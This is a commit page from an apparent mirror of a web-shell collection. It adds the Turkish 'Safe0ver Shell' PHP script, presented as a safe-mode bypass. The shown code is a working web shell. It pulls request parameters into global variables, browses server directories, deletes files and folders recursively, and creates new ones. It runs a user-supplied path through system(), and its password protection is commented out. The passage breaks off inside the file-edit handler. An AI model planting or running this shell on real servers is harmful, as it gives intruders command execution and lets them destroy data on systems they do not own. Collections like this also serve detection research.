mirror of
https://github.com/tennc/webshell.git
synced 2025-12-06 04:41:28 +00:00
138shell update
This commit is contained in:
tennc
950
138shell/S/Safe0ver Shell -Safe Mod Bypass By Evilc0der.txt
Normal file
950
138shell/S/Safe0ver Shell -Safe Mod Bypass By Evilc0der.txt
Normal file
@@ -0,0 +1,950 @@
|
||||
<?php
|
||||
|
||||
|
||||
/*
|
||||
*****************************************************************************************
|
||||
* Safe0ver Shell //Safe Mod Bypass By Evilc0der *
|
||||
*****************************************************************************************
|
||||
* Evilc0der.org is a Platform Which You can Publish Your Shell Script *
|
||||
|
||||
*****************************************************************************************
|
||||
|
||||
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
||||
!! Dikkat ! Script Egitim Amacli Yazilmistir.Scripti Kullanarak Yapacaginiz Illegal eylemlerden sorumlu Degiliz.
|
||||
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
||||
*/
|
||||
|
||||
|
||||
/*Setting some envirionment variables...*/
|
||||
|
||||
/* I added this to ensure the script will run correctly...
|
||||
Please enter the Script's filename in this variable. */
|
||||
$SFileName=$PHP_SELF;
|
||||
|
||||
/* uncomment the two following variables if you want to use http
|
||||
authentication. This will password protect your PHPShell */
|
||||
//$http_auth_user = "phpshell"; /* HTTP Authorisation username, uncomment if you want to use this */
|
||||
//$http_auth_pass = "phpshell"; /* HTTP Authorisation password, uncomment if you want to use this */
|
||||
|
||||
error_reporting(0);
|
||||
$PHPVer=phpversion();
|
||||
$isGoodver=(intval($PHPVer[0])>=4);
|
||||
$scriptTitle = "Safe0ver";
|
||||
$scriptident = "$scriptTitle By Evilc0der.org";
|
||||
|
||||
$urlAdd = "";
|
||||
$formAdd = "";
|
||||
|
||||
function walkArray($array){
|
||||
while (list($key, $data) = each($array))
|
||||
if (is_array($data)) { walkArray($data); }
|
||||
else { global $$key; $$key = $data; global $urlAdd; $urlAdd .= "$key=".urlencode($data)."&";}
|
||||
}
|
||||
|
||||
if (isset($_PUT)) walkArray($_PUT);
|
||||
if (isset($_GET)) walkArray($_GET);
|
||||
if (isset($_POST)) walkArray($_POST);
|
||||
|
||||
|
||||
$pos = strpos($urlAdd, "s=r");
|
||||
if (strval($pos) != "") {
|
||||
$urlAdd= substr($urlAdd, 0, $pos);
|
||||
}
|
||||
|
||||
$urlAdd .= "&s=r&";
|
||||
|
||||
if (empty($Pmax))
|
||||
$Pmax = 125; /* Identifies the max amount of Directories and files listed on one page */
|
||||
if (empty($Pidx))
|
||||
$Pidx = 0;
|
||||
|
||||
$dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
|
||||
$file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
|
||||
|
||||
$scriptdate = "7 Subat 2007";
|
||||
$scriptver = "Bet@ Versiyon";
|
||||
$LOCAL_IMAGE_DIR = "img";
|
||||
$REMOTE_IMAGE_URL = "img";
|
||||
$img = array(
|
||||
"Edit" => "edit.gif",
|
||||
"Download" => "download.gif",
|
||||
"Upload" => "upload.gif",
|
||||
"Delete" => "delete.gif",
|
||||
"View" => "view.gif",
|
||||
"Rename" => "rename.gif",
|
||||
"Move" => "move.gif",
|
||||
"Copy" => "copy.gif",
|
||||
"Execute" => "exec.gif"
|
||||
);
|
||||
|
||||
while (list($id, $im)=each($img))
|
||||
if (file_exists("$LOCAL_IMAGE_DIR/$im"))
|
||||
$img[$id] = "<img height=\"16\" width=\"16\" border=\"0\" src=\"$REMOTE_IMAGE_URL/$im\" alt=\"$id\">";
|
||||
else
|
||||
$img[$id] = "[$id]";
|
||||
|
||||
|
||||
|
||||
|
||||
/* HTTP AUTHENTICATION */
|
||||
|
||||
if ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset($PHP_AUTH_USER) || $PHP_AUTH_USER != $http_auth_user || $PHP_AUTH_PW != $http_auth_pass) || (($logoff==1) && $noauth=="yes") ) {
|
||||
setcookie("noauth","");
|
||||
Header( "WWW-authenticate: Basic realm=\"$scriptTitle $scriptver\"");
|
||||
Header( "HTTP/1.0 401 Unauthorized");
|
||||
echo "Your username or password is incorrect";
|
||||
exit ;
|
||||
|
||||
}
|
||||
|
||||
function buildUrl($display, $url) {
|
||||
global $urlAdd;
|
||||
$url = $SFileName . "?$urlAdd$url";
|
||||
return "<a href=\"$url\">$display</a>";
|
||||
}
|
||||
|
||||
function sp($mp) {
|
||||
for ( $i = 0; $i < $mp; $i++ )
|
||||
$ret .= " ";
|
||||
return $ret;
|
||||
}
|
||||
|
||||
function spacetonbsp($instr) { return str_replace(" ", " ", $instr); }
|
||||
|
||||
function Mydeldir($Fdir) {
|
||||
if (is_dir($Fdir)) {
|
||||
$Fh=@opendir($Fdir);
|
||||
while ($Fbuf = readdir($Fh))
|
||||
if (($Fbuf != ".") && ($Fbuf != ".."))
|
||||
Mydeldir("$Fdir/$Fbuf");
|
||||
@closedir($Fh);
|
||||
return rmdir($Fdir);
|
||||
} else {
|
||||
return unlink($Fdir);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function arrval ($array) {
|
||||
list($key, $data) = $array;
|
||||
return $data;
|
||||
}
|
||||
|
||||
function formatsize($insize) {
|
||||
$size = $insize;
|
||||
$add = "B";
|
||||
if ($size > 1024) {
|
||||
$size = intval(intval($size) / 1.024)/1000;
|
||||
$add = "KB";
|
||||
}
|
||||
if ($size > 1024) {
|
||||
$size = intval(intval($size) / 1.024)/1000;
|
||||
$add = "MB";
|
||||
}
|
||||
if ($size > 1024) {
|
||||
$size = intval(intval($size) / 1.024)/1000;
|
||||
$add = "GB";
|
||||
}
|
||||
if ($size > 1024) {
|
||||
$size = intval(intval($size) / 1.024)/1000;
|
||||
$add = "TB";
|
||||
}
|
||||
return "$size $add";
|
||||
}
|
||||
|
||||
if ($cmd != "downl") {
|
||||
?>
|
||||
|
||||
<!-- <?php echo $scriptident ?>, <?php echo $scriptver ?>, <?php echo $scriptdate ?> -->
|
||||
<HTML>
|
||||
<HEAD>
|
||||
<STYLE>
|
||||
<!--
|
||||
A{ text-decoration:none; color:navy; font-size: 12px }
|
||||
body {
|
||||
font-size: 12px;
|
||||
font-family: arial, helvetica;
|
||||
scrollbar-width: 5;
|
||||
scrollbar-height: 5;
|
||||
scrollbar-face-color: white;
|
||||
scrollbar-shadow-color: silver;
|
||||
scrollbar-highlight-color: white;
|
||||
scrollbar-3dlight-color:silver;
|
||||
scrollbar-darkshadow-color: silver;
|
||||
scrollbar-track-color: white;
|
||||
scrollbar-arrow-color: black;
|
||||
background-color: #CCCCCC;
|
||||
}
|
||||
Table { font-size: 12px; }
|
||||
TR{ font-size: 12px; }
|
||||
TD{
|
||||
font-size: 12px;
|
||||
font-family: arial, helvetical;
|
||||
BORDER-LEFT: black 0px solid;
|
||||
BORDER-RIGHT: black 0px solid;
|
||||
BORDER-TOP: black 0px solid;
|
||||
BORDER-BOTTOM: black 0px solid;
|
||||
COLOR: black;
|
||||
background: #CCCCCC;
|
||||
}
|
||||
.border{ BORDER-LEFT: black 1px solid;
|
||||
BORDER-RIGHT: black 1px solid;
|
||||
BORDER-TOP: black 1px solid;
|
||||
BORDER-BOTTOM: black 1px solid;
|
||||
}
|
||||
.none { BORDER-LEFT: black 0px solid;
|
||||
BORDER-RIGHT: black 0px solid;
|
||||
BORDER-TOP: black 0px solid;
|
||||
BORDER-BOTTOM: black 0px solid;
|
||||
}
|
||||
.inputtext {
|
||||
background-color: #EFEFEF;
|
||||
font-family: arial, helvetica;
|
||||
border: 1px solid #000000;
|
||||
height: 20;
|
||||
}
|
||||
.lighttd { background: #F8F8F8;
|
||||
}
|
||||
.darktd { background: #CCCCCC;
|
||||
}
|
||||
input { font-family: arial, helvetica;
|
||||
}
|
||||
.inputbutton {
|
||||
background-color: #CCCCCC;
|
||||
border: 1px solid #000000;
|
||||
border-width: 1px;
|
||||
height: 20;
|
||||
}
|
||||
.inputtextarea {
|
||||
background-color: #CCCCCC;
|
||||
border: 1px solid #000000;
|
||||
scrollbar-width: 5;
|
||||
scrollbar-height: 5;
|
||||
scrollbar-face-color: #EFEFEF;
|
||||
scrollbar-shadow-color: silver;
|
||||
scrollbar-highlight-color: #EFEFEF;
|
||||
scrollbar-3dlight-color:silver;
|
||||
scrollbar-darkshadow-color: silver;
|
||||
scrollbar-track-color: #EFEFEF;
|
||||
scrollbar-arrow-color: black;
|
||||
}
|
||||
.top { BORDER-TOP: black 1px solid; }
|
||||
.textin { BORDER-LEFT: silver 1px solid;
|
||||
BORDER-RIGHT: silver 1px solid;
|
||||
BORDER-TOP: silver 1px solid;
|
||||
BORDER-BOTTOM: silver 1px solid;
|
||||
width: 99%; font-size: 12px; font-weight: bold; color: Black;
|
||||
}
|
||||
.notop { BORDER-TOP: black 0px solid; }
|
||||
.bottom { BORDER-BOTTOM: black 1px solid; }
|
||||
.nobottom { BORDER-BOTTOM: black 0px solid; }
|
||||
.left { BORDER-LEFT: black 1px solid; }
|
||||
.noleft { BORDER-LEFT: black 0px solid; }
|
||||
.right { BORDER-RIGHT: black 1px solid; }
|
||||
.noright { BORDER-RIGHT: black 0px solid; }
|
||||
.silver{ BACKGROUND: #CCCCCC; }
|
||||
body,td,th {
|
||||
color: #660000;
|
||||
}
|
||||
a:link {
|
||||
color: #000000;
|
||||
text-decoration: none;
|
||||
}
|
||||
a:hover {
|
||||
color: #00FF00;
|
||||
text-decoration: none;
|
||||
}
|
||||
a:active {
|
||||
color: #666666;
|
||||
text-decoration: none;
|
||||
}
|
||||
a:visited {
|
||||
text-decoration: none;
|
||||
}
|
||||
.style5 {
|
||||
color: #660000;
|
||||
font-weight: bold;
|
||||
}
|
||||
-->
|
||||
</STYLE>
|
||||
<TITLE><?php echo $SFileName ?></TITLE>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></HEAD>
|
||||
<body topmargin="0" leftmargin="0">
|
||||
<div style="position: absolute; background: #CCCCCC; z-order:10000; top:0; left:0; width: 100%; height: 100%;">
|
||||
<table nowrap width=100% border="0" cellpadding="0" cellspacing="0">
|
||||
<tr>
|
||||
<td width="100%" class="silver border"><center>
|
||||
<strong> <font size=3><?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?></font> </strong>
|
||||
</center></td>
|
||||
</tr>
|
||||
</table>
|
||||
<table width=100% height="100%" NOWRAP border="0">
|
||||
<tr NOWRAP>
|
||||
<td width="100%" NOWRAP><br>
|
||||
|
||||
<?php
|
||||
}
|
||||
|
||||
if ( $cmd=="dir" ) {
|
||||
$h=@opendir($dir);
|
||||
if ($h == false) {
|
||||
echo "<br><font color=\"red\">".sp(3)."\n\n\n\n
|
||||
Klas<61>r Listelenemiyor!L<>tfen Bypass B<>l<EFBFBD>m<EFBFBD>n<EFBFBD> Deneyin.<br>".sp(3)."\n
|
||||
Script Gecisi Tamamlayamadi!
|
||||
<br><br>".sp(3)."\n
|
||||
Klas<61>re Girmek Icin yetkiniz Olduguna emin Olunuz...
|
||||
<br><br></font>\n\n\n\n";
|
||||
}
|
||||
if (function_exists('realpath')) {
|
||||
$partdir = realpath($dir);
|
||||
}
|
||||
else {
|
||||
$partdir = $dir;
|
||||
}
|
||||
if (strlen($partdir) >= 100) {
|
||||
$partdir = substr($partdir, -100);
|
||||
$pos = strpos($partdir, "/");
|
||||
if (strval($pos) != "") {
|
||||
$partdir = "<-- ...".substr($partdir, $pos);
|
||||
}
|
||||
$partdir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $partdir )));
|
||||
$dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
|
||||
$file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
|
||||
}
|
||||
?>
|
||||
<form name="urlform" action="<?php echo "$SFileName?$urlAdd"; ?>" method="POST"><input type="hidden" name="cmd" value="dir">
|
||||
<table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0">
|
||||
<tr>
|
||||
<td width="100%" class="silver border">
|
||||
<center> Safe0ver-Server File Browser... </center>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
<br>
|
||||
<table width="100%" border="0" cellpadding="0" cellspacing="0">
|
||||
<tr>
|
||||
<td class="border nobottom noright">
|
||||
Listeliyor:
|
||||
</td>
|
||||
<td width="100%" class="border nobottom noleft">
|
||||
<table width="100%" border="0" cellpadding="1" cellspacing="0">
|
||||
<tr>
|
||||
<td NOWRAP width="99%" align="center"><input type="text" name="dir" class="none textin" value="<?php echo $partdir ?>"></td>
|
||||
<td NOWRAP><center> <a href="javascript: urlform.submit();"><b>GiT<b></a> <center></td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
<!-- </form> -->
|
||||
<table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0" >
|
||||
<tr>
|
||||
<td width="100%" NOWRAP class="silver border">
|
||||
Dosya Adi
|
||||
</td>
|
||||
<td NOWRAP class="silver border noleft">
|
||||
Yapilabilecekler
|
||||
</td>
|
||||
<td NOWRAP class="silver border noleft">
|
||||
Boyut
|
||||
</td>
|
||||
<td width=1 NOWRAP class="silver border noleft">
|
||||
Yetkiler
|
||||
</td>
|
||||
<td NOWRAP class="silver border noleft">
|
||||
Son D<>zenleme
|
||||
</td>
|
||||
<tr>
|
||||
<?php
|
||||
|
||||
|
||||
/* <!-- This whole heap of junk is the sorting section... */
|
||||
|
||||
$dirn = array();
|
||||
$filen = array();
|
||||
$filesizes = 0;
|
||||
while ($buf = readdir($h)) {
|
||||
if (is_dir("$dir/$buf"))
|
||||
$dirn[] = $buf;
|
||||
else
|
||||
$filen[] = $buf;
|
||||
}
|
||||
$dirno = count($dirn) + 1;
|
||||
$fileno = count($filen) + 1;
|
||||
|
||||
function mycmp($a, $b){
|
||||
if ($a == $b) return 0;
|
||||
return (strtolower($a) < strtolower($b)) ? -1 : 1;
|
||||
}
|
||||
|
||||
if (function_exists("usort")) {
|
||||
usort($dirn, "mycmp");
|
||||
usort($filen, "mycmp");
|
||||
}
|
||||
else {
|
||||
sort ($dirn);
|
||||
sort ($filen);
|
||||
}
|
||||
reset ($dirn);
|
||||
reset ($filen);
|
||||
if (function_exists('array_merge')) {
|
||||
$filelist = array_merge ($dirn, $filen);
|
||||
}
|
||||
else {
|
||||
$filelist = $dirn + $filen;
|
||||
}
|
||||
|
||||
|
||||
if ( count($filelist)-1 > $Pmax ) {
|
||||
$from = $Pidx * $Pmax;
|
||||
$to = ($Pidx + 1) * $Pmax-1;
|
||||
if ($to - count($filelist) - 1 + ($Pmax / 2) > 0 )
|
||||
$to = count($filelist) - 1;
|
||||
if ($to > count($filelist)-1)
|
||||
$to = count($filelist)-1;
|
||||
$Dcontents = array();
|
||||
For ($Fi = $from; $Fi <= $to; $Fi++) {
|
||||
$Dcontents[] = $filelist[$Fi];
|
||||
}
|
||||
|
||||
}
|
||||
else {
|
||||
$Dcontents = $filelist;
|
||||
}
|
||||
|
||||
$tdcolors = array("lighttd", "darktd");
|
||||
|
||||
while (list ($key, $file) = each ($Dcontents)) {
|
||||
if (!$tdcolor=arrval(each($tdcolors))) {
|
||||
reset($tdcolors);
|
||||
$tdcolor = arrval(each($tdcolors)); }
|
||||
|
||||
if (is_dir("$dir/$file")) { /* <!-- If it's a Directory --> */
|
||||
/* <!-- Dirname --> */
|
||||
echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( "[$file]", "cmd=dir&dir=$dir/$file") .sp(9)."</td>\n";
|
||||
/* <!-- Actions --> */
|
||||
echo "<td NOWRAP class=\"top right $tdcolor\"><center>".sp(2)."\n";
|
||||
/* <!-- Rename --> */
|
||||
if ( ($file != ".") && ($file != "..") )
|
||||
echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n";
|
||||
/* <!-- Delete --> */
|
||||
if ( ($file != ".") && ($file != "..") )
|
||||
echo sp(3).buildUrl( $img["Delete"], "cmd=deldir&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n";
|
||||
/* <!-- End of Actions --> */
|
||||
echo " </center></td>\n";
|
||||
/* <!-- Size --> */
|
||||
echo "<td NOWRAP class=\"top right $tdcolor\"> </td>\n";
|
||||
/* <!-- Attributes --> */
|
||||
echo "<td NOWRAP class=\"top right $tdcolor\"> \n";
|
||||
echo "<strong>D</strong>";
|
||||
if ( @is_readable("$dir/$file") ) {
|
||||
echo "<strong>R</strong>";
|
||||
}
|
||||
if (function_exists('is_writeable')) {
|
||||
if ( @is_writeable("$dir/$file") ) {
|
||||
echo "<strong>W</stong>";
|
||||
}
|
||||
}
|
||||
else {
|
||||
echo "<strong>(W)</stong>";
|
||||
}
|
||||
if ( @is_executable("$dir/$file") ) {
|
||||
echo "<Strong>X<strong>";
|
||||
}
|
||||
echo " </td>\n";
|
||||
/* <!-- Date --> */
|
||||
echo "<td NOWRAP class=\"top right $tdcolor\" NOWRAP>\n";
|
||||
echo " ".date("D d-m-Y H:i:s", filemtime("$dir/$file"))." ";
|
||||
echo "</td>";
|
||||
echo "</tr>\n";
|
||||
|
||||
}
|
||||
else { /* <!-- Then it must be a File... --> */
|
||||
/* <!-- Filename --> */
|
||||
if ( @is_readable("$dir/$file") )
|
||||
echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( $file, "cmd=file&file=$dir/$file").sp(9)."</td>\n";
|
||||
else
|
||||
echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).$file.sp(9)."</td>\n";
|
||||
/* <!-- Actions --> */
|
||||
echo "<td NOWRAP class=\"top right $tdcolor\"><center> \n";
|
||||
/* <!-- Rename --> */
|
||||
echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n";
|
||||
/* <!-- Edit --> */
|
||||
if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) )
|
||||
echo buildUrl( $img["Edit"], "cmd=edit&file=$dir/$file").sp(3)."\n";
|
||||
/* <!-- Copy --> */
|
||||
echo buildUrl( $img["Copy"], "cmd=copy&file=$dir/$file")."\n";
|
||||
/* <!-- Move --> */
|
||||
if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) )
|
||||
echo sp(3). buildUrl( $img["Move"], "cmd=move&file=$dir/$file")."\n";
|
||||
/* <!-- Delete --> */
|
||||
echo sp(3). buildUrl( $img["Delete"], "cmd=delfile&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n";
|
||||
/* <!-- Download --> */
|
||||
echo sp(3). buildUrl( $img["Download"], "cmd=downl&file=$dir/$file")."\n";
|
||||
/* <!-- Execute --> */
|
||||
if ( @is_executable("$dir/$file") )
|
||||
echo sp(3).buildUrl( $img["Execute"], "cmd=execute&file=$dir/$file")."\n";
|
||||
/* <!-- End of Actions --> */
|
||||
echo sp(2)."</center></td>\n";
|
||||
/* <!-- Size --> */
|
||||
echo "<td NOWRAP align=\"right\" class=\"top right $tdcolor\" NOWRAP >\n";
|
||||
$size = @filesize("$dir/$file");
|
||||
If ($size != false) {
|
||||
$filesizes += $size;
|
||||
echo " <strong>".formatsize($size)."<strong>";
|
||||
}
|
||||
else
|
||||
echo " <strong>0 B<strong>";
|
||||
echo " </td>\n";
|
||||
|
||||
/* <!-- Attributes --> */
|
||||
echo "<td NOWRAP class=\"top right $tdcolor\"> \n";
|
||||
|
||||
if ( @is_readable("$dir/$file") )
|
||||
echo "<strong>R</strong>";
|
||||
if ( @is_writeable("$dir/$file") )
|
||||
echo "<strong>W</stong>";
|
||||
if ( @is_executable("$dir/$file") )
|
||||
echo "<Strong>X<strong>";
|
||||
if (function_exists('is_uploaded_file')){
|
||||
if ( @is_uploaded_file("$dir/$file") )
|
||||
echo "<Strong>U<strong>";
|
||||
}
|
||||
else {
|
||||
echo "<Strong>(U)<strong>";
|
||||
}
|
||||
echo " </td>\n";
|
||||
/* <!-- Date --> */
|
||||
echo "<td NOWRAP class=\"top right $tdcolor\" NOWRAP>\n";
|
||||
echo " ".date("D d-m-Y H:i:s", filemtime("$dir/$file"))." ";
|
||||
echo "</td>";
|
||||
echo "</tr>\n";
|
||||
}
|
||||
}
|
||||
|
||||
echo "</table><table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr>\n<td NOWRAP width=100% class=\"silver border noright\">\n";
|
||||
echo " ".@count ($dirn)." Klas<61>r, ".@count ($filen)." Dosya \n";
|
||||
echo "</td><td NOWRAP class=\"silver border noleft\">\n";
|
||||
echo " Toplam Dosya Boyutu: ".formatsize($filesizes)." <td></tr>\n";
|
||||
|
||||
function printpagelink($a, $b, $link = ""){
|
||||
if ($link != "")
|
||||
echo "<A HREF=\"$link\"><b>| $a - $b |</b></A>";
|
||||
else
|
||||
echo "<b>| $a - $b |</b>";
|
||||
}
|
||||
|
||||
if ( count($filelist)-1 > $Pmax ) {
|
||||
echo "<tr><td colspan=\"2\" class=\"silver border notop\"><table width=\"100%\" cellspacing=\"0\" cellpadding=\"3\"><tr><td valign=\"top\"><font color=\"red\"><b>Page:</b></font></td><td width=\"100%\"><center>";
|
||||
$Fi = 0;
|
||||
while ( ( (($Fi+1)*$Pmax) + ($Pmax/2) ) < count($filelist)-1 ) {
|
||||
$from = $Fi*$Pmax;
|
||||
while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++;
|
||||
$to = ($Fi + 1) * $Pmax - 1;
|
||||
if ($Fi == $Pidx)
|
||||
$link="";
|
||||
else
|
||||
$link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi";
|
||||
printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link);
|
||||
echo " ";
|
||||
$Fi++;
|
||||
}
|
||||
$from = $Fi*$Pmax;
|
||||
while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++;
|
||||
$to = count($filelist)-1;
|
||||
if ($Fi == $Pidx)
|
||||
$link="";
|
||||
else
|
||||
$link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi";
|
||||
printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link);
|
||||
|
||||
|
||||
echo "</center></td></tr></table></td></tr>";
|
||||
}
|
||||
|
||||
|
||||
echo "</table>\n<br><table NOWRAP>";
|
||||
|
||||
if ($isGoodver) {
|
||||
echo "<tr><td class=\"silver border\"> <strong>PHP Versiyonu: </strong> </td><td> $PHPVer </td></tr>\n";
|
||||
}
|
||||
else {
|
||||
echo "<tr><td class=\"silver border\"> <strong>Server's PHP Version: </strong> </td><td> $PHPVer (Some functions might be unavailable...) </td></tr>\n";
|
||||
}
|
||||
/* <!-- Other Actions --> */
|
||||
echo "<tr><td class=\"silver border\"> <strong>Diger Islemler: </strong> </td>\n";
|
||||
echo "<td> <b>".buildUrl( "| Yeni Dosya |", "cmd=newfile&lastcmd=dir&lastdir=$dir")."\n".sp(3).
|
||||
buildUrl( "| Yeni Klas<61>r |", "cmd=newdir&lastcmd=dir&lastdir=$dir")."\n".sp(3).
|
||||
buildUrl( "| Dosya Y<>kle |", "cmd=upload&dir=$dir&lastcmd=dir&lastdir=$dir"). "</b>\n</td></tr>\n";
|
||||
echo "<tr><td class=\"silver border\"> <strong>Script Location: </strong> </td><td> $PATH_TRANSLATED</td></tr>\n";
|
||||
echo "<tr><td class=\"silver border\"> <strong>IP Adresin: </strong> </td><td> $REMOTE_ADDR </td></tr>\n";
|
||||
echo "<tr><td class=\"silver border\"> <strong>Bulundugun Klas<61>r: </strong></td><td> $partdir </td></tr>\n";
|
||||
echo "<tr><td valign=\"top\" class=\"silver border\"> <strong>Semboller: </strong </td><td>\n";
|
||||
echo "<table NOWRAP>";
|
||||
echo "<tr><td><strong>D:</strong></td><td> Klas<61>r.</td></tr>\n";
|
||||
echo "<tr><td><strong>R:</strong></td><td> Okunabilir.</td></tr>\n";
|
||||
echo "<tr><td><strong>W:</strong></td><td> Yazilabilir.</td></tr>\n";
|
||||
echo "<tr><td><strong>X:</strong></td><td> Komut Calistirilabilir.</td></tr>\n";
|
||||
echo "<tr><td><strong>U:</strong></td><td> HTTP Uploaded File.</td></tr>\n";
|
||||
echo "</table></td>";
|
||||
echo "</table>";
|
||||
echo "<br>";
|
||||
@closedir($h);
|
||||
}
|
||||
elseif ( $cmd=="execute" ) {/*<!-- Execute the executable -->*/
|
||||
echo system("$file");
|
||||
}
|
||||
elseif ( $cmd=="deldir" ) { /*<!-- Delete a directory and all it's files --> */
|
||||
echo "<center><table><tr><td NOWRAP>" ;
|
||||
if ($auth == "yes") {
|
||||
if (Mydeldir($file)==false) {
|
||||
echo "Could not remove \"$file\"<br>Permission denied, or directory not empty...";
|
||||
}
|
||||
else {
|
||||
echo "Successfully removed \"$file\"<br>";
|
||||
}
|
||||
echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D<>n\"></form>";
|
||||
}
|
||||
else {
|
||||
echo "Are you sure you want to delete \"$file\" and all it's subdirectories ?
|
||||
<form action=\"$SFileName?$urlAdd\" method=\"POST\">
|
||||
<input type=\"hidden\" name=\"cmd\" value=\"deldir\">
|
||||
<input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">
|
||||
<input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">
|
||||
<input type=\"hidden\" name=\"file\" value=\"$file\">
|
||||
<input type=\"hidden\" name=\"auth\" value=\"yes\">
|
||||
<input type=\"submit\" value=\"Yes\"></form>
|
||||
<form action=\"$SFileName?$urlAdd\" method=\"POST\">
|
||||
<input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
|
||||
<input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
|
||||
<input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>";
|
||||
}
|
||||
echo "</td></tr></center>";
|
||||
}
|
||||
elseif ( $cmd=="delfile" ) { /*<!-- Delete a file --> */ echo "<center><table><tr><td NOWRAP>" ;
|
||||
if ($auth == "yes") {
|
||||
if (@unlink($file)==false) {
|
||||
echo "Could not remove \"$file\"<br>";
|
||||
}
|
||||
else {
|
||||
echo "Successfully removed \"$file\"<br>";
|
||||
}
|
||||
echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D<>n\"></form>";
|
||||
}
|
||||
else {
|
||||
echo "Are you sure you want to delete \"$file\" ?
|
||||
<form action=\"$SFileName?$urlAdd\" method=\"POST\">
|
||||
<input type=\"hidden\" name=\"cmd\" value=\"delfile\">
|
||||
<input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">
|
||||
<input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">
|
||||
<input type=\"hidden\" name=\"file\" value=\"$file\">
|
||||
<input type=\"hidden\" name=\"auth\" value=\"yes\">
|
||||
|
||||
<input type=\"submit\" value=\"Yes\"></form>
|
||||
<form action=\"$SFileName?$urlAdd\" method=\"POST\">
|
||||
<input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
|
||||
<input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
|
||||
<input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>";
|
||||
}
|
||||
echo "</td></tr></center>";
|
||||
}
|
||||
elseif ( $cmd=="newfile" ) { /*<!-- Create new file with default name --> */
|
||||
echo "<center><table><tr><td NOWRAP>";
|
||||
$i = 1;
|
||||
while (file_exists("$lastdir/newfile$i.txt"))
|
||||
$i++;
|
||||
$file = fopen("$lastdir/newfile$i.txt", "w+");
|
||||
if ($file == false)
|
||||
echo "Could not create the new file...<br>";
|
||||
else
|
||||
echo "Successfully created: \"$lastdir/newfile$i.txt\"<br>";
|
||||
echo "
|
||||
<form action=\"$SFileName?$urlAdd\" method=\"POST\">
|
||||
<input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
|
||||
<input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
|
||||
<input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D<>n\">
|
||||
</form></center>
|
||||
</td></tr></table></center> ";
|
||||
}
|
||||
elseif ( $cmd=="newdir" ) { /*<!-- Create new directory with default name --> */
|
||||
echo "<center><table><tr><td NOWRAP>" ;
|
||||
$i = 1;
|
||||
while (is_dir("$lastdir/newdir$i"))
|
||||
$i++;
|
||||
$file = mkdir("$lastdir/newdir$i", 0777);
|
||||
if ($file == false)
|
||||
echo "Could not create the new directory...<br>";
|
||||
else
|
||||
echo "Successfully created: \"$lastdir/newdir$i\"<br>";
|
||||
echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\">
|
||||
<input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
|
||||
<input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
|
||||
<input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D<>n\">
|
||||
</form></center></td></tr></table></center>";
|
||||
}
|
||||
elseif ( $cmd=="edit" ) { /*<!-- Edit a file and save it afterwards with the saveedit block. --> */
|
||||
$contents = "";
|
||||
